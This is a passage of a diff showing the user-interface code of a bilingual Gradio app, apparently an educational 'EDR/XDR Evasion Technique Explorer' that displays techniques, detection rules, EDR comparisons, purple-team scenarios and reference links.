| 1579 |
+
],
|
| 1580 |
+
},
|
| 1581 |
+
},
|
| 1582 |
+
}
|
| 1583 |
+
|
| 1584 |
+
SCENARIO_KEYS = list(SCENARIOS.keys())
|
| 1585 |
+
|
| 1586 |
+
|
| 1587 |
+
# ---------------------------------------------------------------------------
|
| 1588 |
+
# UI builder functions
|
| 1589 |
+
# ---------------------------------------------------------------------------
|
| 1590 |
+
|
| 1591 |
+
def build_technique_detail(name, lang):
|
| 1592 |
+
"""Return formatted markdown for a technique."""
|
| 1593 |
+
tech = get_technique_by_name(name, lang)
|
| 1594 |
+
if not tech:
|
| 1595 |
+
return "Select a technique."
|
| 1596 |
+
badge = diff_badge(tech["difficulty"], lang)
|
| 1597 |
+
desc = tech["desc"][lang]
|
| 1598 |
+
mitre = tech["mitre"]
|
| 1599 |
+
pseudo = tech["pseudocode"]
|
| 1600 |
+
detect = tech["detection"][lang]
|
| 1601 |
+
counter = tech["countermeasure"][lang]
|
| 1602 |
+
cat = tech["category"]
|
| 1603 |
+
|
| 1604 |
+
desc_label = t("description", lang)
|
| 1605 |
+
mitre_label = t("mitre", lang)
|
| 1606 |
+
pseudo_label = t("pseudocode", lang)
|
| 1607 |
+
detect_label = t("detection", lang)
|
| 1608 |
+
counter_label = t("countermeasure", lang)
|
| 1609 |
+
cat_label = t("category", lang)
|
| 1610 |
+
|
| 1611 |
+
md = f"## {tech['name'][lang]} {badge}\n\n"
|
| 1612 |
+
md += f"**{cat_label}:** {cat}\n\n"
|
| 1613 |
+
md += f"**{mitre_label}:** `{mitre}`\n\n"
|
| 1614 |
+
md += f"### {desc_label}\n{desc}\n\n"
|
| 1615 |
+
md += f"### {pseudo_label}\n```\n{pseudo}\n```\n\n"
|
| 1616 |
+
md += f"### {detect_label}\n{detect}\n\n"
|
| 1617 |
+
md += f"### {counter_label}\n{counter}\n"
|
| 1618 |
+
return md
|
| 1619 |
+
|
| 1620 |
+
|
| 1621 |
+
def build_detection_detail(name, lang):
|
| 1622 |
+
"""Return formatted markdown for detection engineering."""
|
| 1623 |
+
tech = get_technique_by_name(name, lang)
|
| 1624 |
+
if not tech:
|
| 1625 |
+
return "Select a technique."
|
| 1626 |
+
|
| 1627 |
+
sysmon_label = t("sysmon_ids", lang)
|
| 1628 |
+
kql_label = t("kql_query", lang)
|
| 1629 |
+
sigma_label = t("sigma_rule", lang)
|
| 1630 |
+
yara_label = t("yara_rule", lang)
|
| 1631 |
+
edr_label = t("edr_config", lang)
|
| 1632 |
+
|
| 1633 |
+
md = f"## {tech['name'][lang]} - {t('tab_detection', lang)}\n\n"
|
| 1634 |
+
md += f"### {sysmon_label}\n`{tech['sysmon']}`\n\n"
|
| 1635 |
+
md += f"### {kql_label}\n```kql\n{tech['kql']}\n```\n\n"
|
| 1636 |
+
md += f"### {sigma_label}\n```yaml\n{tech['sigma']}\n```\n\n"
|
| 1637 |
+
md += f"### {yara_label}\n```yara\n{tech['yara']}\n```\n\n"
|
| 1638 |
+
md += f"### {edr_label}\n{tech['edr_config'][lang]}\n"
|
| 1639 |
+
return md
|
| 1640 |
+
|
| 1641 |
+
|
| 1642 |
+
def build_scenario_detail(scenario_key, lang):
|
| 1643 |
+
"""Return formatted markdown for an attack scenario."""
|
| 1644 |
+
sc = SCENARIOS.get(scenario_key)
|
| 1645 |
+
if not sc:
|
| 1646 |
+
return "Select a scenario."
|
| 1647 |
+
|
| 1648 |
+
name = sc["name"][lang]
|
| 1649 |
+
techniques_str = ", ".join(sc["techniques"])
|
| 1650 |
+
gaps = "\n".join(f"- {g}" for g in sc["gaps"][lang])
|
| 1651 |
+
steps = "\n".join(sc["purple_team"][lang])
|
| 1652 |
+
alerts = "\n".join(f"- {a}" for a in sc["alerts"][lang])
|
| 1653 |
+
|
| 1654 |
+
ev_label = t("evasion_needed", lang)
|
| 1655 |
+
gap_label = t("detection_gaps", lang)
|
| 1656 |
+
pt_label = t("purple_team", lang)
|
| 1657 |
+
alert_label = t("expected_alerts", lang)
|
| 1658 |
+
|
| 1659 |
+
md = f"## {name}\n\n"
|
| 1660 |
+
md += f"### {ev_label}\n{techniques_str}\n\n"
|
| 1661 |
+
md += f"### {gap_label}\n{gaps}\n\n"
|
| 1662 |
+
md += f"### {pt_label}\n{steps}\n\n"
|
| 1663 |
+
md += f"### {alert_label}\n{alerts}\n"
|
| 1664 |
+
return md
|
| 1665 |
+
|
| 1666 |
+
|
| 1667 |
+
def build_resources_md(lang):
|
| 1668 |
+
if lang == "fr":
|
| 1669 |
+
return """## Ressources
|
| 1670 |
+
|
| 1671 |
+
### Articles AYI-NEDJIMI Consultants
|
| 1672 |
+
|
| 1673 |
+
- [Guide complet : \u00c9vasion EDR/XDR](https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html)
|
| 1674 |
+
Analyse approfondie des techniques d\u2019\u00e9vasion et des contre-mesures.
|
| 1675 |
+
|
| 1676 |
+
- [Top 10 Solutions EDR/XDR 2025](https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html)
|
| 1677 |
+
Comparatif d\u00e9taill\u00e9 des meilleures solutions de protection endpoint.
|
| 1678 |
+
|
| 1679 |
+
- [Site principal AYI-NEDJIMI Consultants](https://ayinedjimi-consultants.fr)
|
| 1680 |
+
Cabinet de conseil en cybers\u00e9curit\u00e9 sp\u00e9cialis\u00e9 en tests d\u2019intrusion et Red Team.
|
| 1681 |
+
|
| 1682 |
+
### R\u00e9f\u00e9rences externes
|
| 1683 |
+
|
| 1684 |
+
- [MITRE ATT&CK Framework](https://attack.mitre.org/) - Base de connaissances des tactiques et techniques adverses
|
| 1685 |
+
- [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) - R\u00e8gles de d\u00e9tection g\u00e9n\u00e9riques
|
| 1686 |
+
- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Tests atomiques pour chaque technique ATT&CK
|
| 1687 |
+
- [LOLBAS Project](https://lolbas-project.github.io/) - Binaires Living off the Land
|
| 1688 |
+
- [Elastic Detection Rules](https://github.com/elastic/detection-rules) - R\u00e8gles de d\u00e9tection Elastic
|
| 1689 |
+
- [KQL Reference](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/) - Documentation KQL Microsoft
|
| 1690 |
+
|
| 1691 |
+
### Avertissement
|
| 1692 |
+
|
| 1693 |
+
Ce contenu est strictement \u00e9ducatif. Toute utilisation de ces techniques sans autorisation explicite est ill\u00e9gale.
|
| 1694 |
+
Consultez toujours le cadre l\u00e9gal applicable avant tout test de s\u00e9curit\u00e9.
|
| 1695 |
+
"""
|
| 1696 |
+
else:
|
| 1697 |
+
return """## Resources
|
| 1698 |
+
|
| 1699 |
+
### AYI-NEDJIMI Consultants Articles
|
| 1700 |
+
|
| 1701 |
+
- [Complete Guide: EDR/XDR Evasion](https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html)
|
| 1702 |
+
In-depth analysis of evasion techniques and countermeasures.
|
| 1703 |
+
|
| 1704 |
+
- [Top 10 EDR/XDR Solutions 2025](https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html)
|
| 1705 |
+
Detailed comparison of the best endpoint protection solutions.
|
| 1706 |
+
|
| 1707 |
+
- [AYI-NEDJIMI Consultants Main Site](https://ayinedjimi-consultants.fr)
|
| 1708 |
+
Cybersecurity consulting firm specializing in penetration testing and Red Team operations.
|
| 1709 |
+
|
| 1710 |
+
### External References
|
| 1711 |
+
|
| 1712 |
+
- [MITRE ATT&CK Framework](https://attack.mitre.org/) - Knowledge base of adversary tactics and techniques
|
| 1713 |
+
- [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) - Generic detection rules
|
| 1714 |
+
- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Atomic tests for each ATT&CK technique
|
| 1715 |
+
- [LOLBAS Project](https://lolbas-project.github.io/) - Living off the Land Binaries
|
| 1716 |
+
- [Elastic Detection Rules](https://github.com/elastic/detection-rules) - Elastic detection rules
|
| 1717 |
+
- [KQL Reference](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/) - Microsoft KQL documentation
|
| 1718 |
+
|
| 1719 |
+
### Disclaimer
|
| 1720 |
+
|
| 1721 |
+
This content is strictly educational. Any use of these techniques without explicit authorization is illegal.
|
| 1722 |
+
Always consult the applicable legal framework before any security testing.
|
| 1723 |
+
"""
|
| 1724 |
+
|
| 1725 |
+
|
| 1726 |
+
# ---------------------------------------------------------------------------
|
| 1727 |
+
# Gradio application
|
| 1728 |
+
# ---------------------------------------------------------------------------
|
| 1729 |
+
|
| 1730 |
+
FOOTER_HTML = """
|
| 1731 |
+
<div style="text-align:center; padding:20px; margin-top:20px; border-top:1px solid #444; color:#aaa;">
|
| 1732 |
+
<p>Powered by <a href="https://ayinedjimi-consultants.fr" target="_blank" style="color:#e74c3c;">AYI-NEDJIMI Consultants</a>
|
| 1733 |
+
| <a href="https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html" target="_blank" style="color:#e74c3c;">EDR/XDR Evasion Guide</a>
|
| 1734 |
+
| <a href="https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html" target="_blank" style="color:#e74c3c;">Top 10 EDR/XDR 2025</a></p>
|
| 1735 |
+
</div>
|
| 1736 |
+
"""
|
| 1737 |
+
|
| 1738 |
+
CSS = """
|
| 1739 |
+
.gradio-container { max-width: 1200px !important; }
|
| 1740 |
+
.disclaimer-box {
|
| 1741 |
+
background: linear-gradient(135deg, #1a1a2e, #16213e);
|
| 1742 |
+
border: 1px solid #e74c3c;
|
| 1743 |
+
border-radius: 10px;
|
| 1744 |
+
padding: 15px;
|
| 1745 |
+
margin: 10px 0;
|
| 1746 |
+
text-align: center;
|
| 1747 |
+
color: #f0f0f0;
|
| 1748 |
+
}
|
| 1749 |
+
"""
|
| 1750 |
+
|
| 1751 |
+
|
| 1752 |
+
def create_app():
|
| 1753 |
+
with gr.Blocks(css=CSS, title="EDR Evasion Explorer", theme=gr.themes.Base()) as app:
|
| 1754 |
+
|
| 1755 |
+
lang_state = gr.State("en")
|
| 1756 |
+
|
| 1757 |
+
# Header
|
| 1758 |
+
gr.HTML(
|
| 1759 |
+
'<h1 style="text-align:center; color:#e74c3c;">'
|
| 1760 |
+
"EDR/XDR Evasion Technique Explorer</h1>"
|
| 1761 |
+
)
|
| 1762 |
+
gr.HTML(
|
| 1763 |
+
'<div class="disclaimer-box">'
|
| 1764 |
+
"This content is strictly educational and intended for cybersecurity "
|
| 1765 |
+
"professionals to improve defenses. | "
|
| 1766 |
+
"Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels "
|
| 1767 |
+
"de la cybers\u00e9curit\u00e9."
|
| 1768 |
+
"</div>"
|
| 1769 |
+
)
|
| 1770 |
+
|
| 1771 |
+
with gr.Row():
|
| 1772 |
+
lang_toggle = gr.Radio(
|
| 1773 |
+
choices=["EN", "FR"],
|
| 1774 |
+
value="EN",
|
| 1775 |
+
label="Language / Langue",
|
| 1776 |
+
)
|
| 1777 |
+
|
| 1778 |
+
# ---------------------------------------------------------------
|
| 1779 |
+
# Tab 1: Technique Browser
|
| 1780 |
+
# ---------------------------------------------------------------
|
| 1781 |
+
with gr.Tab("Technique Browser"):
|
| 1782 |
+
with gr.Row():
|
| 1783 |
+
cat_filter = gr.Dropdown(
|
| 1784 |
+
choices=["All"] + CATEGORIES,
|
| 1785 |
+
value="All",
|
| 1786 |
+
label="Category",
|
| 1787 |
+
)
|
| 1788 |
+
diff_filter = gr.Dropdown(
|
| 1789 |
+
choices=["All", "Easy", "Medium", "Hard", "Expert"],
|
| 1790 |
+
value="All",
|
| 1791 |
+
label="Difficulty",
|
| 1792 |
+
)
|
| 1793 |
+
technique_list = gr.Dropdown(
|
| 1794 |
+
choices=get_technique_names("en"),
|
| 1795 |
+
label="Select a technique",
|
| 1796 |
+
)
|
| 1797 |
+
technique_detail = gr.Markdown("")
|
| 1798 |
+
|
| 1799 |
+
def on_filter_change(cat, diff, lang):
|
| 1800 |
+
lang_code = "fr" if lang == "FR" else "en"
|
| 1801 |
+
all_label = t("all", lang_code)
|
| 1802 |
+
if cat == "All" or cat == "Toutes":
|
| 1803 |
+
cat = all_label
|
| 1804 |
+
if diff == "All" or diff == "Toutes":
|
| 1805 |
+
diff = all_label
|
| 1806 |
+
names = filter_techniques(cat, diff, lang_code)
|
| 1807 |
+
first_label = t("select_technique", lang_code)
|
| 1808 |
+
return gr.Dropdown(choices=names, label=first_label, value=None)
|
| 1809 |
+
|
| 1810 |
+
cat_filter.change(
|
| 1811 |
+
on_filter_change,
|
| 1812 |
+
inputs=[cat_filter, diff_filter, lang_toggle],
|
| 1813 |
+
outputs=[technique_list],
|
| 1814 |
+
)
|
| 1815 |
+
diff_filter.change(
|
| 1816 |
+
on_filter_change,
|
| 1817 |
+
inputs=[cat_filter, diff_filter, lang_toggle],
|
| 1818 |
+
outputs=[technique_list],
|
| 1819 |
+
)
|
| 1820 |
+
|
| 1821 |
+
def on_technique_select(name, lang):
|
| 1822 |
+
lang_code = "fr" if lang == "FR" else "en"
|
| 1823 |
+
if not name:
|
| 1824 |
+
return ""
|
| 1825 |
+
return build_technique_detail(name, lang_code)
|
| 1826 |
+
|
| 1827 |
+
technique_list.change(
|
| 1828 |
+
on_technique_select,
|
| 1829 |
+
inputs=[technique_list, lang_toggle],
|
| 1830 |
+
outputs=[technique_detail],
|
| 1831 |
+
)
|
| 1832 |
+
|
| 1833 |
+
# ---------------------------------------------------------------
|
| 1834 |
+
# Tab 2: Detection Engineering
|
| 1835 |
+
# ---------------------------------------------------------------
|
| 1836 |
+
with gr.Tab("Detection Engineering"):
|
| 1837 |
+
detect_technique_list = gr.Dropdown(
|
| 1838 |
+
choices=get_technique_names("en"),
|
| 1839 |
+
label="Select a technique for detection rules",
|
| 1840 |
+
)
|
| 1841 |
+
detection_detail = gr.Markdown("")
|
| 1842 |
+
|
| 1843 |
+
def on_detect_select(name, lang):
|
| 1844 |
+
lang_code = "fr" if lang == "FR" else "en"
|
| 1845 |
+
if not name:
|
| 1846 |
+
return ""
|
| 1847 |
+
return build_detection_detail(name, lang_code)
|
| 1848 |
+
|
| 1849 |
+
detect_technique_list.change(
|
| 1850 |
+
on_detect_select,
|
| 1851 |
+
inputs=[detect_technique_list, lang_toggle],
|
| 1852 |
+
outputs=[detection_detail],
|
| 1853 |
+
)
|
| 1854 |
+
|
| 1855 |
+
# ---------------------------------------------------------------
|
| 1856 |
+
# Tab 3: EDR Comparison
|
| 1857 |
+
# ---------------------------------------------------------------
|
| 1858 |
+
with gr.Tab("EDR Comparison"):
|
| 1859 |
+
edr_names = [e["name"] for e in EDR_SOLUTIONS]
|
| 1860 |
+
edr_selector = gr.CheckboxGroup(
|
| 1861 |
+
choices=edr_names,
|
| 1862 |
+
value=edr_names[:4],
|
| 1863 |
+
label="Select EDR/XDR Solutions to Compare",
|
| 1864 |
+
)
|
| 1865 |
+
radar_plot = gr.Plot(label="EDR Capabilities Radar")
|
| 1866 |
+
edr_table = gr.Dataframe(
|
| 1867 |
+
headers=["Solution", "Prevention", "Detection", "Response", "Threat Hunting", "MDR"],
|
| 1868 |
+
value=[[e["name"], e["prevention"], e["detection"], e["response"], e["threat_hunting"], e["mdr"]] for e in EDR_SOLUTIONS],
|
| 1869 |
+
label="EDR/XDR Comparison Table",
|
| 1870 |
+
)
|
| 1871 |
+
|
| 1872 |
+
def on_edr_change(selected, lang):
|
| 1873 |
+
lang_code = "fr" if lang == "FR" else "en"
|
| 1874 |
+
if not selected:
|
| 1875 |
+
selected = edr_names[:4]
|
| 1876 |
+
return build_radar_chart(selected, lang_code)
|
| 1877 |
+
|
| 1878 |
+
edr_selector.change(
|
| 1879 |
+
on_edr_change,
|
| 1880 |
+
inputs=[edr_selector, lang_toggle],
|
| 1881 |
+
outputs=[radar_plot],
|
| 1882 |
+
)
|
| 1883 |
+
# Initial chart
|
| 1884 |
+
app.load(
|
| 1885 |
+
on_edr_change,
|
| 1886 |
+
inputs=[edr_selector, lang_toggle],
|
| 1887 |
+
outputs=[radar_plot],
|
| 1888 |
+
)
|
| 1889 |
+
|
| 1890 |
+
# ---------------------------------------------------------------
|
| 1891 |
+
# Tab 4: Attack Simulation Planner
|
| 1892 |
+
# ---------------------------------------------------------------
|
| 1893 |
+
with gr.Tab("Attack Simulation Planner"):
|
| 1894 |
+
scenario_selector = gr.Dropdown(
|
| 1895 |
+
choices=SCENARIO_KEYS,
|
| 1896 |
+
label="Select an attack scenario",
|
| 1897 |
+
)
|
| 1898 |
+
scenario_detail = gr.Markdown("")
|
| 1899 |
+
|
| 1900 |
+
def on_scenario_select(scenario, lang):
|
| 1901 |
+
lang_code = "fr" if lang == "FR" else "en"
|
| 1902 |
+
if not scenario:
|
| 1903 |
+
return ""
|
| 1904 |
+
return build_scenario_detail(scenario, lang_code)
|
| 1905 |
+
|
| 1906 |
+
scenario_selector.change(
|
| 1907 |
+
on_scenario_select,
|
| 1908 |
+
inputs=[scenario_selector, lang_toggle],
|
| 1909 |
+
outputs=[scenario_detail],
|
| 1910 |
+
)
|
| 1911 |
+
|
| 1912 |
+
# ---------------------------------------------------------------
|
| 1913 |
+
# Tab 5: Resources
|
| 1914 |
+
# ---------------------------------------------------------------
|
| 1915 |
+
with gr.Tab("Resources"):
|
| 1916 |
+
resources_md = gr.Markdown(build_resources_md("en"))
|
| 1917 |
+
|
| 1918 |
+
# ---------------------------------------------------------------
|
| 1919 |
+
# Language toggle handler
|
| 1920 |
+
# ---------------------------------------------------------------
|
| 1921 |
+
def on_lang_change(lang_choice):
|
| 1922 |
+
lang_code = "fr" if lang_choice == "FR" else "en"
|
| 1923 |
+
all_label = t("all", lang_code)
|
| 1924 |
+
names = get_technique_names(lang_code)
|
| 1925 |
+
cat_choices = [all_label] + CATEGORIES
|
| 1926 |
+
diff_choices_list = [all_label] + [diff_label(d, lang_code) for d in ["Easy", "Medium", "Hard", "Expert"]]
|
| 1927 |
+
cat_lbl = t("category", lang_code)
|
| 1928 |
+
diff_lbl = t("difficulty", lang_code)
|
| 1929 |
+
sel_lbl = t("select_technique", lang_code)
|
| 1930 |
+
scn_lbl = t("select_scenario", lang_code)
|
| 1931 |
+
|
| 1932 |
+
scenario_choices = [SCENARIOS[k]["name"][lang_code] for k in SCENARIO_KEYS]
|
| 1933 |
+
|
| 1934 |
+
return [
|
| 1935 |
+
lang_choice,
|
| 1936 |
+
gr.Dropdown(choices=cat_choices, value=all_label, label=cat_lbl),
|
| 1937 |
+
gr.Dropdown(choices=diff_choices_list, value=all_label, label=diff_lbl),
|
| 1938 |
+
gr.Dropdown(choices=names, label=sel_lbl, value=None),
|
| 1939 |
+
"",
|
| 1940 |
+
gr.Dropdown(choices=names, label=sel_lbl, value=None),
|
| 1941 |
+
"",
|
| 1942 |
+
gr.Dropdown(choices=SCENARIO_KEYS, label=scn_lbl, value=None),
|
| 1943 |
+
"",
|
| 1944 |
+
build_resources_md(lang_code),
|
| 1945 |
+
]
|
| 1946 |
+
|
| 1947 |
+
lang_toggle.change(
|
| 1948 |
+
on_lang_change,
|
| 1949 |
+
inputs=[lang_toggle],
|
| 1950 |
+
outputs=[
|
| 1951 |
+
lang_state,
|
| 1952 |
+
cat_filter,
|
| 1953 |
+
diff_filter,
|
| 1954 |
+
technique_list,
|
| 1955 |
+
technique_detail,
|
| 1956 |
+
detect_technique_list,
|
| 1957 |
+
detection_detail,
|
| 1958 |
+
scenario_selector,
|
| 1959 |
+
scenario_detail,
|
| 1960 |
+
resources_md,
|
| 1961 |
+
],
|
| 1962 |
+
)
|
| 1963 |
+
|
| 1964 |
+
# Footer
|
| 1965 |
+
gr.HTML(FOOTER_HTML)
|
| 1966 |
+
|
| 1967 |
+
return app
|
| 1968 |
+
|
| 1969 |
+
|
| 1970 |
+
if __name__ == "__main__":
|
| 1971 |
+
demo = create_app()
|
| 1972 |
+
demo.launch()
|